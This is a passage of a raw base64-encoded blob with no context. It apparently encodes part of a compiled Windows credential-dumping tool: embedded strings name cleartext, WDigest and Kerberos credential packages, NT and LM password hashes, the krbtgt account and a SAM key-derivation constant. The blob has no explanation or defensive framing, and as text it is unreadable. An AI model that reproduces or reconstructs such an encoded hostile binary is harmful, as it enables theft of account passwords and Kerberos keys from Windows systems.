BUUFBQUFBQUFBQUVFSEFRQUlBQUFBWUMwRmdBRUFBQUNDQUFBQUNBQUFBQUFBQUFBQkFBQUFBQUFBQUFBQUFBQWhBQUFBQUFBQUFNZ0NCWUFCQUFBQWt3QUFBQUFBQUFBSUFBQUFBQUFBQUJCTUJZQUJBQUFBTlFjQ0FGQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQ1JBQUFBQUFBQUFJanRCSUFCQUFBQWtRQUFBQUFBQUFENDh3U0FBUUFBQUpFQUFBQUFBQUFBWUI4RmdBRUFBQUNUQUFBQUFBQUFBREFBQUFBY0FBQUFNd2NGQUFnQUFBQlE5Z1NBQVFBQUFJSUJBQUFvQUFBQUNBQUFBQUVBQUFBQUFBQUFBQUFBQUNFQUFBQUFBQUFBOUFRRmdBRUFBQUNUQUFBQUFBQUFBRkVIQUFaNEFBQUFhRElGZ0FFQUFBQUFBQUFBQUFBQUFBQUhBQUFDQUFBQUFRQUFBQUFBQUFDQVZRV0FBUUFBQUFBQUFBQUFBQUFBQWdBQUFBQUFBQUFnVUFXQUFRQUFBQUFBQUFBQUFBQUEvLy8vL3dBQUFBQndRUUFBQUFBQUFERUhBUUE0QUFBQWdBQUFBQUFBQUFBWUFBQUFBQUFBQUNFQUFBQUFBQUFBeUFJRmdBRUFBQUNBQUFBQUFBQUFBQ0FBQUFBQUFBQUFJUUFBQUFBQUFBQXdLZ1dBQVFBQUFKTUFBQUFBQUFBQU1RY0JBR2dBQUFDQUFBQUFBQUFBQUFBQUFBQUFBQUFBSUFBQUFBQUFBQURJQWdXQUFRQUFBSUFBQUFBQUFBQUFDQUFBQUFBQUFBQWdBQUFBQUFBQUFNQXJCWUFCQUFBQWt3QUFBQUFBQUFCUkJ3QUdJQUFBQUdneUJZQUJBQUFBQUFBQUFBQUFBQUFBQndBQUFRQUFBQUVBQUFBQUFBQUFrQVFGZ0FFQUFBQUFBQUFBQUFBQUFQLy8vLzhBQUFBQU53TUdBUXdBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUJZTkFXQUFRQUFBQVVBQUFBQUFBQUFCUUFBQUFBQUFBQ1JBQUFBQUFBQUFPRDFCSUFCQUFBQWt3QUFBQUFBQUFBeEJ3RUFJQUFBQUlBQUFBQUFBQUFBQ0FBQUFBQUFBQUFoQUFBQUFBQUFBUFFFQllBQkFBQUFrd0FBQUFBQUFBQUJBQUFBQkJFQUFBTURBQUFBQUFBQUFnY0FBQUFBQUFBQ0FBQUFBQUFBQUNFQUFBQUFBQUFBTUVzRmdBRUFBQUJHQndJQkFBQUFBQ0FUQllBQkFBQUE0Q01GZ0FFQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVJnY0NBUUFBQUFBZy9RU0FBUUFBQU9BakJZQUJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBRFVIQXdBUUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFLQk1CWUFCQUFBQWtRQUFBQUFBQUFCSVdnV0FBUUFBQUpBQUJBQUFBQUFBRkFBQUFBQUFBQUNUQUFBQUFBQUFBS1FGQUFBQUFBQUFBQUFBQUFBQUFBQVFKd0FBQUFBQUFERUhBUUJRQUFBQWdBQUFBQUFBQUFBWUFBQUFBQUFBQUNFQUFBQUFBQUFBOUFRRmdBRUFBQUNBQUFBQUFBQUFBQ0FBQUFBQUFBQUFJUUFBQUFBQUFBRDBCQVdBQVFBQUFJQUFBQUFBQUFBQUtBQUFBQUFBQUFBaEFBQUFBQUFBQVBRRUJZQUJBQUFBa3dBQUFBQUFBQUJBQUc0Qk1BQUFBQ3dBQUFBb0FBQUFBQUFBQUFZQUNBQndRQUFBQUFBQUFGQlpCWUFCQUFBQUNBQUFBQUFBQUFEVHdRU0FBUUFBQU1nQUFBQUlBQUFBUUFnRmdBRUFBQUFMQVFBQUVBQUFBTlBCQklBQkFBQUFVSUVBQUJnQUFBQmc4d1NBQVFBQUFCT0JBQUFnQUFBQTA4RUVnQUVBQUFEd0FBQUFLQUFBQUFFQUFBQUVEZ0FBQXdZQUFEUUFBQUFDQndBQUFBQUFBQUVBQUFBQUFBQUFRUUFBQUFFQUFBQmdXZ1dBQVFBQUFBRUFBQUFBQUFBQTA4c0VnQUVBQUFBeEJ3RUFFQUFBQUlBQUFBQUFBQUFBQ0FBQUFBQUFBQUFoQUFBQUFBQUFBT2o3QklBQkFBQUFrd0FBQUFBQUFBQWhBQUFBQUFBQUFMQlFCWUFCQUFBQVFRY0FBQmdBQUFBZ1dnV0FBUUFBQUJnQUFBQUFBQUFBYUQ4RmdBRUFBQUJCQndFQUNBQUFBQ0JhQllBQkFBQUFnZ0FBQUFnQUFBQUFBQUFBQVFBQUFBQUFBQUFBQUFBQUlRQUFBQUFBQUFESUFnV0FBUUFBQUpNQUFBQUFBQUFBQ0FBQUFBQUFBQUFRVEFXQUFRQUFBSEJCQUFCd1FRQUFJUUFBQUFBQUFBQ0lWQVdBQVFBQUFDRUFBQUFBQUFBQWdGZ0ZnQUVBQUFCd1FRQUFBQUFBQUZFSEFBWVFBQUFBYURJRmdBRUFBQUFBQUFBQUFBQUFBQUFIQUFBQkFBQUFBUUFBQUFBQUFBQlFLd1dBQVFBQUFBQUFBQUFBQUFBQS8vLy8vd0FBQUFCZ0FBQUExTmRFZk5VeFRFSzlYaXMrSHpJOUlnRUFBQUFFWFlpSzZ4ekpFWi9vQ0FBckVFaGdBZ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVBEOEJJQUJBQUFBQUFBQUFnQUFBQUFCQUFBQUF3WUFBQUFBQUFCd1FRQUFwQVVBQUFBQUFBQUFBQUFBQUFBQUFBQUFvQUFBQUFBQXBBVUFBQUFBQUFBQUFBQUFBQUFBQUJBbkFBQUFBQUFBQVFBQUFBTUdBQUFJQUFBQWNFRUFBS1FGQUFBQUFBQUFBQUFBQUFBQUFBQVFKd0FBQUFBQUFFWUhBZ0VBQUFBQUlCTUZnQUVBQUFEZ0l3V0FBUUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUExQndJQXFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFKRUFBQUFBQUFBQVFEMEZnQUVBQUFDUkFBQUFBQUFBQVBoREJZQUJBQUFBa0FBRUFBQUFBQUNSQUFBQUFBQUFBR0JkQllBQkFBQUFrUUFBQUFBQUFBQm95d1NBQVFBQUFKRUFBQUFBQUFBQVFEVUZnQUVBQUFDVEFBQUFBQUFBQUVFQUFBQUJBQUFBSUZvRmdBRUFBQUFCQUFBQUFBQUFBTlBMQklBQkFBQUFVUWNBQmtBQUFBQUFGZ1dBQVFBQUFBQUFBQUFBQUFBQUFBY0FBQU1BQUFBQkFBQUFBQUFBQUlnUUJZQUJBQUFBQUFBQUFBQUFBQUFDQUFBQUFBQUFBQkJFQllBQkFBQUFBQUFBQUFBQUFBQURBQUFBQUFBQUFIQUNCWUFCQUFBQUFBQUFBQUFBQUFELy8vLy9BQUFBQUtRRkFBQUFBQUFBQUFBQUFBQUFBQUFRSndBQUFBQUFBRVlIQWdFQUFBQUFJUDBFZ0FFQUFBRFFVd1dBQVFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBeEJ3RUFHQUFBQUlBQUFBQUFBQUFBQUFBQUFBQUFBQUFnQUFBQUFBQUFBTWdDQllBQkFBQUFnQUFBQUFBQUFBQUlBQUFBQUFBQUFDRUFBQUFBQUFBQXdDc0ZnQUVBQUFDVEFBQUFBQUFBQURVSEF3QkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBSmhGQllBQkFBQUFrUUFBQUFBQUFBQlEvd1NBQVFBQUFKRUFBQUFBQUFBQWdDa0ZnQUVBQUFDUUFBUUFBQUFBQUJRQUFBQUFBQUFBa3dBQUFBQUFBQUNrQlFBQUFBQUFBQUFBQUFBQUFBQUFBQUVBQUFBQUFBQXhCd0VBRUFBQUFJQUFBQUFBQUFBQUFBQUFBQUFBQUFBaEFBQUFBQUFBQU1CY0JZQUJBQUFBZ0FBQUFBQUFBQUFJQUFBQUFBQUFBQ0VBQUFBQUFBQUFxQUFGZ0FFQUFBQ1RBQUFBQUFBQUFEVUhBd0FRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUxBRkJZQUJBQUFBa1FBQUFBQUFBQURBV3dXQUFRQUFBQVVBQUFBQUFBQUFGQUFBQUFBQUFBQ1RBQUFBQUFBQUFEQUhBQUFnQUFBQU1RY0JBQ3dBQUFDQUFBQUFBQUFBQUFBQUFBQUFBQUFBSVFBQUFBQUFBQUFZSVFXQUFRQUFBSUFBQUFBQUFBQUFHQUFBQUFBQUFBQWhBQUFBQUFBQUFFQUpCWUFCQUFBQWt3QUFBQUFBQUFCQkFBQUFBUUFBQUNCYUJZQUJBQUFBQVFBQUFBQUFBQURUeXdTQUFRQUFBRUVBQUFBQkFBQUEwRk1GZ0FFQUFBQUJBQUFBQUFBQUFOUExCSUFCQUFBQVVRY0FCaGdBQUFBQUZnV0FBUUFBQUFBQUFBQUFBQUFBQUFjQUFBRUFBQUFCQUFBQUFBQUFBSUFrQllBQkFBQUFBQUFBQUFBQUFBRC8vLy8vQUFBQUFFQUFiZ0V3QUFBQUxBQUFBQ2dBQUFBQUFBQUFCZ0FJQUhCQUFBQUFBQUFBMU1FRWdBRUFBQUFJQUFBQUFBQUFBTlBCQklBQkFBQUF5QUFBQUFnQUFBQmdQQVdBQVFBQUFBc0JBQUFRQUFBQTA4RUVnQUVBQUFCUWdRQUFHQUFBQUNBcEJZQUJBQUFBRTRFQUFDQUFBQURUd1FTQUFRQUFBUEFBQUFBb0FBQUFRUWNCQUVBQUFBQWdXZ1dBQVFBQUFJSUJBQUJBQUFBQUFBQUFBQUlBQUFBQUFBQUFBQUFBQUNFQUFBQUFBQUFBOUFRRmdBRUFBQUE0QUFBQUFBQUFBQ0VBQUFBQUFBQUE5QVFGZ0FFQUFBQ1RBQUFBQUFBQUFFQUFBQUFBQUFBQWNDWUZnQUVBQUFBNDJRV0FBUUFBQUVqWkJZQUJBQUFBV05rRmdBRUFBQUJ3MlFXQUFRQUFBTkRoQllBQkFBQUE0T0VGZ0FFQUFBQXc0Z1dBQVFBQUFBa0FBQUFBQUFBQU1HQUZnQUVBQUFBQUFBQUFBQUFBQUFUcUFJQUJBQUFBRUhBRmdBRUFBQUNvWWdXQUFRQUFBR2h6QllBQkFBQUErRjhGZ0FFQUFBRDRiQVdBQVFBQUFFaHRCWUFCQUFBQUtHNEZnQUVBQUFENFl3V0FBUUFBQURCeEJZQUJBQUFBcUdNRmdBRUFBQUFnYXdXQUFRQUFBT0J3QllBQkFBQUFtSEVGZ0FFQUFBQXdjd1dBQVFBQUFIaHNCWUFCQUFBQU9GOEZnQUVBQUFBSVlRV0FBUUFBQUpqOEJZQUJBQUFBc1B3RmdBRUFBQUR3ZXdXQUFRQUFBQWdBQUFBQUFBQUFRR0VGZ0FFQUFBQ005d0NBQVFBQUFOVDNBSUFCQUFBQU1Nb0FnQUVBQUFCQTN3V0FBUUFBQUZEZkJZQUJBQUFBRE13QWdBRUFBQURJM3dXQUFRQUFBT0RmQllBQkFBQUFWTThBZ0FFQUFBQWc0QVdBQVFBQUFFRGdCWUFCQUFBQUFOZ0FnQUVBQUFESTRBV0FBUUFBQU9EZ0JZQUJBQUFBbVBJQWdBRUFBQUFZNFFXQUFRQUFBQ2poQllBQkFBQUE4UFFBZ0FFQUFBQkk0UVdBQVFBQUFGRGhCWUFCQUFBQU5Pd0FnQUVBQUFCdzRRV0FBUUFBQUlEaEJZQUJBQUFBc08wQWdBRUFBQUNZNFFXQUFRQUFBS2poQllBQkFBQUE3T29BZ0FFQUFBREE0UVdBQVFBQUFBQUFBQUFBQUFBQW9COEdnQUVBQUFDNEh3YUFBUUFBQUFBQUFBQUFBQUFBQlFBQUFBQUFBQUF3WXdXQUFRQUFBRWcxQVlBQkFBQUE3RFVCZ0FFQUFBQW8rQUNBQVFBQUFNajZCWUFCQUFBQTBQb0ZnQUVBQUFBOC9RQ0FBUUFBQUFEN0JZQUJBQUFBRVBzRmdBRUFBQUNRK3dDQUFRQUFBREQ3QllBQkFBQUFPUHNGZ0FFQUFBRDQrZ0NBQVFBQUFHajdCWUFCQUFBQWVQc0ZnQUVBQUFDTUFBR0FBUUFBQUpqN0JZQUJBQUFBcVBzRmdBRUFBQUI0RUFHQUFRQUFBT0RsQllBQkFBQUEwUHNGZ0FFQUFBRFVGZ0dBQVFBQUFBRDhCWUFCQUFBQUNQd0ZnQUVBQUFEc0ZnR0FBUUFBQURqOEJZQUJBQUFBVVB3RmdBRUFBQUFZQUJvQUFBQUFBRUFWQm9BQkFBQUFTQm9HZ0FFQUFBRFltUVdBQVFBQUFIQWFCb0FCQUFBQTJKa0ZnQUVBQUFDUUdnYUFBUUFBQUtnYUJvQUJBQUFBd0JvR2dBRUFBQURRR2dhQUFRQUFBT2dhQm9BQkFBQUErQm9HZ0FFQUFBQVFHd2FBQVFBQUFEQWJCb0FCQUFBQVFCc0dnQUVBQUFCWUd3YUFBUUFBQUhBYkJvQUJBQUFBNkxBRmdBRUFBQUFCQUFBQVpBY0FnQUlBWkdSa0J3Q0FBd0JrQUFBSENvRG9Kd2FBQVFBQUFQZ25Cb0FCQUFBQUFBQUFBQUFBQUFBSEFBQUFBQUFBQURCa0JZQUJBQUFBL0R3QmdBRUFBQUFVUHdHQUFRQUFBRGdnQm9BQkFBQUFVQ0FHZ0FFQUFBQmdJQWFBQVFBQUFIQWdCb0FCQUFBQUFRQUFDZ0FCQUlBQ0FBQVpBQUVBZ0FNQUFFc0FBUUNBQkFBQVpBQUJBSUFGQUFCTEFBRUFnQUFBQUJrQUFRQ0E2RGtCZ0FFQUFBQUErd1dBQVFBQUFQQjdCWUFCQUFBQTNEWUJnQUVBQUFCb0h3YUFBUUFBQVBCN0JZQUJBQUFBaURvQmdBRUFBQUI0SHdhQUFRQUFBUEI3QllBQkFBQUFxRFlCZ0FFQUFBQ0lId2FBQVFBQUFQQjdCWUFCQUFBQXJEd0JnQUVBQUFDUUh3YUFBUUFBQVBCN0JZQUJBQUFBT0VNR2dBRUFBQUJJUXdhQUFRQUFBQUFBQUFBQUFBQUFBZ0FBQUFBQUFBRFlaQVdBQVFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBRkFBQUFCZ0FBQUFFQUFBQUlBQUFBQndBQUFPdi8vLzhZV3dhQUFRQUFBQ2hiQm9BQkFBQUFBQUFBQUFBQUFBQUlBQUFBQUFBQUFCQnFCWUFCQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUtBL0FZQUJBQUFBWUNVR2dBRUFBQUI0SlFhQUFRQUFBTnhBQVlBQkFBQUF1Q1VHZ0FFQUFBRElKUWFBQVFBQUFJaEJBWUFCQUFBQUFDWUdnQUVBQUFBZ0pnYUFBUUFBQUh4RkFZQUJBQUFBWUNZR2dBRUFBQUJ3SmdhQUFRQUFBTVJXQVlBQkFBQUE0T1VGZ0FFQUFBREFKZ2FBQVFBQUFHUmFBWUFCQUFBQUdPRUZnQUVBQUFBUUp3YUFBUUFBQUNoY0FZQUJBQUFBU09FRmdBRUFBQUNBSndhQUFRQUFBS0JjQVlBQkFBQUFlRUlHZ0FFQUFBQ1FRZ2FBQVFBQUFOeGNBWUFCQUFBQUFFTUdnQUVBQUFBUVF3YUFBUUFBQU5CMEJvQUJBQUFBdEYwQmdBRUFBQUFBQUFBQUFBQUFBQ1JGQm9BQkFBQUFNRVVHZ0FFQUFBRG9ZUUdBQVFBQUFBQUFBQUFBQUFBQWtFVUdnQUVBQUFDZ1JRYUFBUUFBQUFBQUFBQUFBQUFBQjhBaUFBQUFBQURvUlFhQUFRQUFBUGhGQm9BQkFBQUFBQUFBQUFBQUFBQUx3Q0lBQUFBQUFCaEdCb0FCQUFBQUtFWUdnQUVBQUFBQUFBQUFBQUFBQUVQQUlnQUFBQUFBT0VZR2dBRUFBQUJJUmdhQUFRQUFBSEJpQVlBQkFBQUFBQUFBQUFBQUFBQm9SZ2FBQVFBQUFJaEdCb0FCQUFBQUNHUUJnQUVBQUFBQUFBQUFBQUFBQUtoR0JvQUJBQUFBeUVZR2dBRUFBQURrWkFHQUFRQUFBQUFBQUFBQUFBQUErRVlHZ0FFQUFBQWdSd2FBQVFBQUFBQUFBQUFBQUFBQWc4QWlBQUFBQUFCZ1J3YUFBUUFBQUhCSEJvQUJBQUFBQUFBQUFBQUFBQUREd0NJQUFBQUFBSkJIQm9BQkFBQUFvRWNHZ0FFQUFBQUFBQUFBQUFBQUFBUEJJZ0FBQUFBQXVFY0dnQUVBQUFEWVJ3YUFBUUFBQUFBQUFBQUFBQUFBQjhFaUFBQUFBQUFZU0FhQUFRQUFBREJJQm9BQkFBQUFBQUFBQUFBQUFBQUx3U0lBQUFBQUFIQklCb0FCQUFBQWlFZ0dnQUVBQUFBQUFBQUFBQUFBQUEvQklnQUFBQUFBd0VnR2dBRUFBQURZU0FhQUFRQUFBQUFBQUFBQUFBQUFFOEVpQUFBQUFBQVlTUWFBQVFBQUFEQkpCb0FCQUFBQVRHVUJnQUVBQUFBWHdTSUFBQUFBQUhCSkJvQUJBQUFBbUVrR2dBRUFBQUJZWlFHQUFRQUFBQ2ZCSWdBQUFBQUEyRWtHZ0FFQUFBQUFTZ2FBQVFBQUFBQUFBQUFBQUFBQVE4RWlBQUFBQUFCQVNnYUFBUUFBQUZCS0JvQUJBQUFBQUFBQUFBQUFBQUJId1NJQUFBQUFBSEJLQm9BQkFBQUFpRW9HZ0FFQUFBQ29qZ2FBQVFBQUFMaU9Cb0FCQUFBQTJJNEdnQUVBQUFEb2pnYUFBUUFBQUJDUEJvQUJBQUFBSUk4R2dBRUFBQUJBandhQUFRQUFBSENQQm9BQkFBQUFzSThHZ0FFQUFBRGdqd2FBQVFBQUFBQ1FCb0FCQUFBQUVKQUdnQUVBQUFCSWtBYUFBUUFBQUlDUUJvQUJBQUFBc0pBR2dBRUFBQURJa0FhQUFRQUFBT0NRQm9BQkFBQUFDSkVHZ0FFQUFBQXdrUWFBQVFBQUFGaVJCb0FCQUFBQWlKRUdnQUVBQUFDb2tRYUFBUUFBQU5DUkJvQUJBQUFBQUpJR2dBRUFBQUF3a2dhQUFRQUFBSUNTQm9BQkFBQUFzSklHZ0FFQUFBRGdrZ2FBQVFBQUFBQ1RCb0FCQUFBQUlKTUdnQUVBQUFCQWt3YUFBUUFBQUdDVEJvQUJBQUFBQ3dZSEFRZ0tEZ0FEQlFJUERRa01CRkFBWVFCakFHc0FZUUJuQUdVQWN3QUFBQUFBNlAvLy8xQUFjZ0JwQUcwQVlRQnlBSGtBT2dCREFFd0FSUUJCQUZJQVZBQkZBRmdBVkFBQUFBQUFBQUFBWHdhQUFRQUFBQkJmQm9BQkFBQUFNREV5TXpRMU5qYzRPVEF4TWpNME5UWTNPRGt3TVRJek5EVTJOemc1TURFeU16UTFOamM0T1FBQUFBRGQvLy8vbUgwR2dBRUFBQUNvZlFhQUFRQUFBTUI5Qm9BQkFBQUEwSDBHZ0FFQUFBRG9mUWFBQVFBQUFDRkFJeVFsWGlZcUtDbHhkMlZ5ZEhsVlNVOVFRWHA0WTNaaWJtMVJVVkZSVVZGUlVWRlJVVkVwS0NwQUppVUFBRkFBY2dCcEFHMEFZUUJ5QUhrQU9nQkxBR1VBY2dCaUFHVUFjZ0J2QUhNQUFBQUFBTy8vLy85UUFISUFhUUJ0QUdFQWNnQjVBRG9BVndCRUFHa0Fad0JsQUhNQWRBQUFBRkFBY2dCcEFHMEFZUUJ5QUhrQU9nQkxBR1VBY2dCaUFHVUFjZ0J2QUhNQUxRQk9BR1VBZHdCbEFISUFMUUJMQUdVQWVRQnpBQUFBNkhRR2dBRUFBQUJPVkZCQlUxTlhUMUpFQUFBQUFBQUFYRjhHZ0FFQUFBQm9Yd2FBQVFBQUFIaGZCb0FCQUFBQWdGOEdnQUVBQUFBUVpnR0FBUUFBQUhCWEJvQUJBQUFBZ0ZjR2dBRUFBQUNVYUFHQUFRQUFBQUJZQm9BQkFBQUFFRmdHZ0FFQUFBQ2dhQUdBQVFBQUFNRGhCWUFCQUFBQW9GZ0dnQUVBQUFDOGpRR0FBUUFBQURoWkJvQUJBQUFBUUZrR2dBRUFBQUFFbmdHQUFRQUFBT0JaQm9BQkFBQUE4RmtHZ0FFQUFBQUVwd0dBQVFBQUFKQmFCb0FCQUFBQUFBQUFBQUFBQUFBTXFRR0FBUUFBQUtoYUJvQUJBQUFBQUFBQUFBQUFBQUFjcWdHQUFRQUFBTGhhQm9BQkFBQUEwRm9HZ0FFQUFBQk1UVkJCVTFOWFQxSkVBQUM5Ly8vL2F3QnlBR0lBZEFCbkFIUUFBQUFBQUJoMUJvQUJBQUFBQUhVR2dBRUFBQUFBZ0FhQUFRQUFBQkNBQm9BQkFBQUFJSUFHZ0FFQUFBQXdnQWFBQVFBQUFMQ2FCb0FCQUFBQXdKb0dnQUVBQUFBQUFBQUFBQUFBQUFrQUFBQUFBQUFBb0dzRmdBRUFBQUI4dmdHQUFRQUFBTFMvQVlBQkFBQUFnS1FHZ0FFQUFBQ1FuZ2FBQVFBQUFLaWVCb0FCQUFBQXdKNEdnQUVBQUFEd25nYUFBUUFBQUJDZkJvQUJBQUFBTUo4R2dBRUFBQUJJbndhQUFRQUFBR0NmQm9BQkFBQUErTDhCZ0FFQUFBRGdsd2FBQVFBQUFQQ1hCb0FCQUFBQUtNQUJnQUVBQUFCUW1BYUFBUUFBQUdDWUJvQUJBQUFBV01BQmdBRUFBQURRbUFhQUFRQUFBT0NZQm9BQkFBQUFpTUFCZ0FFQUFBQkltUWFBQVFBQUFHQ1pCb0FCQUFBQXNNUUJnQUVBQUFESW1RYUFBUUFBQU9DWkJvQUJBQUFBbU1ZQmdBRUFBQUJvbWdhQUFRQUFBQUFBQUFBQUFBQUFSTWdCZ0FFQUFBQjRtZ2FBQVFBQUFBQUFBQUFBQUFBQWdNNEJnQUVBQUFDSW1nYUFBUUFBQUFBQUFBQUFBQUFBWU5VQmdBRUFBQUNZbWdhQUFRQUFBQUFBQUFBQUFBQUE0S3dHZ0FFQUFBRHdld1dBQVFBQUFBQUFBQUFBQUFBQUF3QUFBQUFBQUFDd2JBV0FBUUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUNzMlFHQUFRQUFBRGdLQm9BQkFBQUE4SHNGZ0FFQUFBRDgzZ0dBQVFBQUFMaXNCb0FCQUFBQThIc0ZnQUVBQUFEODNnR0FBUUFBQU5Dc0JvQUJBQUFBOEhzRmdBRUFBQUJnc2dhQUFRQUFBSGl5Qm9BQkFBQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFEQnRCWUFCQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFEZkFZQUJBQUFBS0xJR2dBRUFBQUE0c2dhQUFRQUFBRGhHQm9BQkFBQUFpTFFHZ0FFQUFBQUFBQUFBQUFBQUFBY0FBQUFBQUFBQWdHMEZnQUVBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBVE44QmdBRUFBQUFBK3dXQUFRQUFBRWhHQm9BQkFBQUFZT0VCZ0FFQUFBQlFzd2FBQVFBQUFHQ3pCb0FCQUFBQWJPRUJnQUVBQUFDQXN3YUFBUUFBQUpDekJvQUJBQUFBWE44QmdBRUFBQUN3c3dhQUFRQUFBTUN6Qm9BQkFBQUE0TjhCZ0FFQUFBRGdzd2FBQVFBQUFQQ3pCb0FCQUFBQTZOOEJnQUVBQUFBWXRBYUFBUUFBQUNpMEJvQUJBQUFBOU44QmdBRUFBQUJRdEFhQUFRQUFBR0MwQm9BQkFBQUFtQW9HZ0FFQUFBQ0l1Z2FBQVFBQUFBQUFBQUFBQUFBQUNBQUFBQUFBQUFCZ2JnV0FBUUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUNFNUFHQUFRQUFBTEN6Qm9BQkFBQUFTTGtHZ0FFQUFBQ3M1QUdBQVFBQUFMQlNCb0FCQUFBQWFMa0dnQUVBQUFEVTVBR0FBUUFBQU9DekJvQUJBQUFBaUxrR2dBRUFBQUFBNVFHQUFRQUFBQmkwQm9BQkFBQUFxTGtHZ0FFQUFBQXM1UUdBQVFBQUFGQzBCb0FCQUFBQXlMa0dnQUVBQUFCWTVRR0FBUUFBQU9pNUJvQUJBQUFBQUxvR2dBRUFBQUNFNVFHQUFRQUFBQ2k2Qm9BQkFBQUFRTG9HZ0FFQUFBRDgzZ0dBQVFBQUFBRDdCWUFCQUFBQWFMb0dnQUVBQUFBUTZRR0FBUUFBQURqQUJvQUJBQUFBU01BR2dBRUFBQUFzNlFHQUFRQUFBR2pBQm9BQkFBQUFjTUFHZ0FFQUFBQ1k2UUdBQVFBQUFPakFCb0FCQUFBQUFNRUdnQUVBQUFDdzZRR0FBUUFBQUpEQkJvQUJBQUFBb01FR2dBRUFBQURJNlFHQUFRQUFBTmpCQm9BQkFBQUE4TUVHZ0FFQUFBQVk2Z0dBQVFBQUFOQkRCb0FCQUFBQU1NSUdnQUVBQUFDTTZnR0FBUUFBQUhqQ0JvQUJBQUFBa01JR2dBRUFBQUQwNmdHQUFRQUFBTmpDQm9BQkFBQUE4TUlHZ0FFQUFBQTg2d0dBQVFBQUFEVERCb0FCQUFBQVFNTUdnQUVBQUFBSTdBR0FBUUFBQUlqREJvQUJBQUFBb01NR2dBRUFBQURBd3dhQUFRQUFBTmpEQm9BQkFBQUFBTVFHZ0FFQUFBQUtBQUFBQUFBQUFDQnZCWUFCQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUNEUEJvQUJBQUFBbUgwR2dBRUFBQURvemdhQUFRQUFBQ0RzQVlBQkFBQUFXTWdHZ0FFQUFBQm95QWFBQVFBQUFQVHNBWUFCQUFBQUFQc0ZnQUVBQUFDZ3lBYUFBUUFBQUFqdEFZQUJBQUFBNE1nR2dBRUFBQUR3eUFhQUFRQUFBQVR3QVlBQkFBQUFHTWtHZ0FFQUFBQW95UWFBQVFBQUFMRE9Cb0FCQUFBQXlNNEdnQUVBQUFEb3pnYUFBUUFBQUFqUEJvQUJBQUFBV01rR2dBRUFBQUJveVFhQUFRQUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBQmdjQVdBQVFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBNDh3R0FBUUFBQVBEUUJvQUJBQUFBRU5FR2dBRUFBQUNjMFFhQUFRQUFBS2pSQm9BQkFBQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFCaHhCWUFCQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU9qMEFZQUJBQUFBQVBzRmdBRUFBQUFBK3dXQUFRQUFBQUQvQVlBQkFBQUFjT0VGZ0FFQUFBQnc0UVdBQVFBQUFKamhCWUFCQUFBQUVOSUdnQUVBQUFBQUFBQUFBQUFBQUFJQUFBQUFBQUFBYUhFRmdBRUFBQUJrOHdHQUFRQUFBTWowQVlBQkFBQUEySmtGZ0FFQUFBRFEzd2FBQVFBQUFPRGZCb0FCQUFBQUFPQUdnQUVBQUFBbzRBYUFBUUFBQUZqZ0JvQUJBQUFBZ09BR2dBRUFBQUM0QWdLQUFRQUFBS0RrQm9BQkFBQUFvT1FHZ0FFQUFBQytOUTQrZHh2blE3aHpydGtCdGlkYkNOTUdnQUVBQUFBQUFBQUFBQUFBQURoNG5lYTFrY2xQaWRVakRVMU13cndvMHdhQUFRQUFBQUFBQUFBQUFBQUE4MitJUEdrbW9rcW8rejluV2FkMVNGRFRCb0FCQUFBQUFBQUFBQUFBQUFEMU0rQ3kzbDhOUmFHOU41SDBaWElNY05NR2dBRUFBQUNVK1FHQUFRQUFBQ3VodUxROUdBaEpsVm05aTg1eXRZcUkwd2FBQVFBQUFKVDVBWUFCQUFBQWtYTEkvdllVdGtDOW1IL3lSWmhySnJEVEJvQUJBQUFBbFBrQmdBRUFBQUNqVUVNZERUUDVTclAvcVNla1daaXN5Tk1HZ0FFQUFBQUFBQUFBQUFBQUFLRGdCb0FCQUFBQXNPQUdnQUVBQUFCd3NRV0FBUUFBQU1EZ0JvQUJBQUFBTURFeU16UTFOamM0TGtZL0lDRWhBTERrQm9BQkFBQUF5T1FHZ0FFQUFBQUFBQUFBQUFBQUFBRUFBQUFBQUFBQUNISUZnQUVBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBNlBJR2dBRUFBQUFBOHdhQUFRQUFBQ0R6Qm9BQkFBQUFFZ0FBQUFBQUFBQ2djd1dBQVFBQUFCQVZBb0FCQUFBQU5CVUNnQUVBQUFDWVZBS0FBUUFBQUREdUJvQUJBQUFBT080R2dBRUFBQUIwV3dLQUFRQUFBSER1Qm9BQkFBQUFnTzRHZ0FFQUFBQU1RQUtBQVFBQUFKajhCWUFCQUFBQXVPNEdnQUVBQUFBVVdnS0FBUUFBQVBEdUJvQUJBQUFBQU84R2dBRUFBQUFvVXdLQUFRQUFBRER2Qm9BQkFBQUFRTzhHZ0FFQUFBQ2tXQUtBQVFBQUFIanZCb0FCQUFBQWdPOEdnQUVBQUFCQUZRS0FBUUFBQUxEdkJvQUJBQUFBME84R2dBRUFBQUNVRkFLQUFRQUFBRGhHQm9BQkFBQUFNUEFHZ0FFQUFBQ3dGQUtBQVFBQUFKRHdCb0FCQUFBQXNQQUdnQUVBQUFDb0tRS0FBUUFBQUJEeEJvQUJBQUFBR1BFR2dBRUFBQUNnSFFLQUFRQUFBR2dLQm9BQkFBQUFPUEVHZ0FFQUFBQkVJUUtBQVFBQUFFanhCb0FCQUFBQ